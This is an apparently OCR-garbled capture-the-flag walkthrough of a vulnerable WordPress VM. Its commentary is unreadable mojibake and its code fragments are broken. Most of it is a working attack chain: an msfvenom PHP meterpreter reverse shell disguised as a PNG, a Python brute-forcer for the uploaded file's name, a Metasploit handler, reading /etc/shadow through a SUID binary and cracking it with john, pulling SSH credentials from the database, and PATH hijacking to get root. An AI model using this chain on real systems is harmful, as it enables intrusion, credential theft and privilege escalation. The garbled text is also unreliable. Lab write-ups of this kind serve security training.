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nmap -sn 16.16.16.0/24
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/license.txt
/readme.html
/robots.txt

/wp-includes/
/wp-config.php

/wp-includes/rss-functions.php
/wp-admin/install.php

3T F/robots.txt)5 & I

Disallow:/upload.php
Disallow:/uploads
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githubH upload.php H 5 S

DOCTYPE html
html

body

div align
form action method enctype
br
b>Select image :
input type
input type

form

<?php

if(isset($_POST[ 1) {

$rand_number rand(1,100);

$target_dir 5

$target_file = $target_dir . md5(basename($_FILES] 10 ]1.$rand_number));
$file_name = $target_dir . basename($_FILES] 10 DB

$uploadok = 1;

$imageFileType strtolower(pathinfo($file_name, PATHINFO_EXTENSION));

$type = $_FILES[ 10 15

$check = getimagesize($_FILES[

if($check[

$uploadOk 1;

}else{

$uploadOk 0;

echo ;

b

if($uploadOk 1){
move_uploaded_file($ FILES[ ], $target_file. .$imageFileType);
echo

HphpRIE R 4 X E BN T 4%, Hin bR Rtestpng, NHEHEKISCHE4 . md5(test.png+BEHLEL).png
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msfvenom -p php/meterpreter_reverse tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw sh
ell.php

cat shell.php kali.png

mv kali.png kali.php

5 pythonlI A< € php A B _E A% Ja 1B S i X 4

import hashlib
import requests

for x in (101):
file name hashlib.md5(( (x)).encode(encoding )) .hexdigest()

file_name

url

r = requests.get(url)

code r.status_code
if code 200:
print(url)
break
else:
print(
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msfconsole
msf5 use expoit/mulit/hander

msf5 exploit(multi/handler) set payload php/meterpreter_reverse tcp

payload php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (php/meterpreter_reverse tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

© Wildcard Target

msf5 exploit(multi/handler) set lhost 16.16.16.155
lhost 16.16.16.155

msf5 exploit(multi/handler) set lport 1234

lport 1234

msf5 exploit(multi/handler)

[*] Started reverse TCP handler on 16.16.16.155:1234
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[*] Started reverse TCP handler on 16.16.16.155:1234
[*] Meterpreter session 1 opened (16.16.16.155:1234 -> 16.16.16.156:39040) at 2020-08-12 16:45:54 +0800
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sysinfo

lafddif6b82c

Linux lafddlféb82c 4.15.0-29-generic
php/linux

Process List

Name User Path

apache2 root apache2 -DFOREGROUND

/bin/bash root /bin/bash /etc/init.d/delete.sh
apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

apache2 www-data apache2 -DFOREGROUND

sleep root sleep 300

sh www-data sh -c ps ax -w -o pid,user,cmd --no-header 2>/dev/null
ps www-data ps ax -w -o pid,user,cmd --no-header

ERMENHA—EEZBIT, cat— FixAMetc/init.d/delete.shZ B, it F 48k Mk — K /uploads/ T HI BT A .php/a I SCHE. BA
rootiz 7, LB MBRIEARER B ULHFR, FRIE T/ ERDL

meterpreter cat /etc/init.d/delete.sh

while [ 1 ]

do
rm -rf /var/www/html/uploads/*.php
sleep 300

done
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find / -perm -u=s -type f 2>/dev/null




www-data@lafddifeb82c:/var/www/html/uploads$ find / type f -perm -u=s 2>/dev/null
/html/uploads$ find / type f -perm -u=s 2>/dev/null

MIREIZRE R, taildr &2 BA oot R K

A] DU F tailfy 45k 2 & letc/shadowisz B P 2 i3 hashig

www-data@lafddlfeb82c: /var/www/html/uploads$ tail -c 10000 /etc/shadow
tail -c 10000 /etc/shadow
root:$6$qoj6/3Ji$FQe/BZ1fZVOVX8mOi25Suih5vilS//OVNpd.PVEVYcL1bWSrF3XTVTF91n60yUUUMUCP65EET8HfjLyjGHova/:17951:0:
BSCCOENERE
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
Sys:%:17931:0:99999:7: ::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7: ::
man:*:17931:0:99999:7:::
IERSIVOBIEGHOC GO O ENEEE:
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7: ::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
1ist:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7: ::
nobody:*:17931:0:99999:7:::
apt:*:17931:0:99999:7:::

13 Fjohn T B A2 A

john shadow --show
root:john:17951:0:99999:7:::

5 Hiroot# %A john
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ssh 16.16.16.156
The authenticity of host

16.16.16.156
s password:
Permission denied, please try again.
root@16.16.16.156"'s password:

RREFRAT, FHIZ A5 2 Hrootlk 5 2 B AR A AR EBNLAI K S .
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Fit LA Fmeterpreterihtml B 3% K BT A SCH#fdownload Tk

meterpreter downoload -r html /root/Desktop/hackinos

uploads 4.0 KiB folder

wp-admin 4.0KiB folder

wp-content 4.0 KiB folder

wp-includes 12.0KiB folder

index.php 418 75 PHP script
license.txt 19.5KiB plain text document
readme.html 7.2 kiB HTML document
robots.txt 52 F7 plain text document
upload.php 1.1KiB PHP script
wp-activate.php 6.7 KiB PHP script

wp-blog-header.php 364 FT PHP script

wp-comments-post.php 1.8 KiB PHP script
wp-config.php 3.1KiB PHP script

23 0HE: 150.4 KiB (153,980 ), eTHZ 8] : 8.4 GiB

—AAMEIE, RILT wp L & SC#Fwp-config.php
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meterpreter shell

Process 248 created.

Channel 1715 created.

echo /tmp/asdf.py //ffHpython3REl—AZ H X shell
python /tmp/asdf.py

www-data@lafddifeb82c: /var/www/html/uploads$ mysql -u wordpress -p wordpress -h db
html/uploads$ mysql -u wordpress -p wordpress -h db

Enter password: wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 5.7.25 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type for help. Type to clear the current input statement.

MySQL [wordpress]

BN AEHABEEE



MySQL [wordpress]> show databases;
show databases;

information_schema

wordpress

2 rows in set (0.00 sec)

MySQL [wordpress]> use wordpress
use wordpress

Database changed

MySQL [wordpress]> show tables;

host_ssh_cred
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_termmeta
wp_terms
wp_usermeta

wp_users
13 rows in set (0.00 sec)

MySQL [wordpress]> select * from host_ssh_cred;
select * from host_ssh_cred;

hummingbirdscyber | el@adc3949ba59abbe56e0571201883e

1 row in set (0.01 sec)

2 #Imd578 Fhummingbirdscyberf Ik 5 24 123456
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root@kali:~
hummingbirdscyber@l6.16.16.156"'s password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-29-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

39 packages can be updated.
@ updates are security updates.

*** System restart required ***
Last login: Wed Aug 12 18:48:39 2020 from 192.168.1.13
hummingbirdscyber@vulnvm:~$
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hummingbirdscyber@vulnvm:~$ id

uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),
46 (plugdev),113(1lpadmin),128(sambashare),129(docker)

hummingbirdscyber@vulnvm:~$ whoami

hummingbirdscyber

hummingbirdscyber@vulnvm:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false

apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false

lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false

avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
@vahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq, ,, :/var/lib/misc:/bin/false

colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false

usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
hummingbirdscyber:x:1000:1000:hummingbirdscyber, ,, : /home/hummingbirdscyber:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin

hummingbirdscyber@vulnvm:~$ cat /etc/shadow

cat: /etc/shadow: Permission denied

daEsuidE — I




hummingbirdscyber@vulnvm:~$ find / type f -perm -u=s 2>/dev/null
/home/hummingbirdscyber/Desktop/a.out
/usr/1lib/snapd/snap-confine

/usr/lib/openssh/ssh-keysign
/usr/1ib/x86_64-1inux-gnu/oxide-qt/chrome-sandbox
/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

/usr/lib/xorg/Xorg.wrap

/usr/sbin/pppd

/bin/fusermount

/bin/ping

HUR B —AFH I a.out

BE— TR file /home/hummingbirdscyber/Desktop/a.out

hummingbirdscyber@vulnvm:~$ file /home/hummingbirdscyber/Desktop/a.out

/home/hummingbirdscyber/Desktop/a.out: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically 1
inked, interpreter /1ib64/1d-1inux-x86-64.s0.2, for GNU/Linux 2.6.32, BuildID[shal]=c26eb2ef5db6@aftbef3a4357d92a
f730870b2fd4, not stripped

A BA sudo PR BT AT AT 3L, $0AT — T ilik

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out

root

REMEAA root , RARHE B4R whoami fr4
X BRATT A B R FH IR A B B Rrwhoamidr &

SBFE FSPATH

hummingbirdscyber@vulnvm:~/Desktop$ echo $PATH

/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

RILETH A A /home/hummingbirdscyber/.local/bin , FrLATRATEE HEF XN AR &R AT

BB H XK .local T&RADbINEZ, HEZAIREDInHX

fEbiNH 3 F touch whoami , #RJEHAT echo "/bin/sh" > whoami , FI& T ZwhoamidiNHATALR chmod +x whoami
B AT a.out RILHE T —A shell, B XMEHpythoni# 32 H Rshell
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hummingbirdscyber@vulnvm: cd .local/bin/
hummingbirdscyber@vulnvm:~/.local/bin$ 1s
whoami
hummingbirdscyber@vulnvm:~/.local/bin$ chmod +x whoami
hummingbirdscyber@vulnvm:~/.local/bin$ 1s
whoami
hummingbirdscyber@vulnvm:~/.local/bin$ cd
hummingbirdscyber@vulnvm:
hummingbirdscyber@vulnvm:
hummingbirdscyber@vulnvm: cd Desktop/
hummingbirdscyber@vulnvm:~/Desktop$ 1s
a.out

hummingbirdscyber@vulnvm:~/Desktop$ whoami
hummingbirdscyber

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),113(1lpadmin),128(sambashare),129(doc
ker),1000(hummingbirdscyber)

root@vulnvm:~/Desktop

—fflagtt 24 K# & Ehome BT, BIMER T

root@vulnvm:~
root@vulnvm: /root
flag

root@vulnvm: /root
Congratulations
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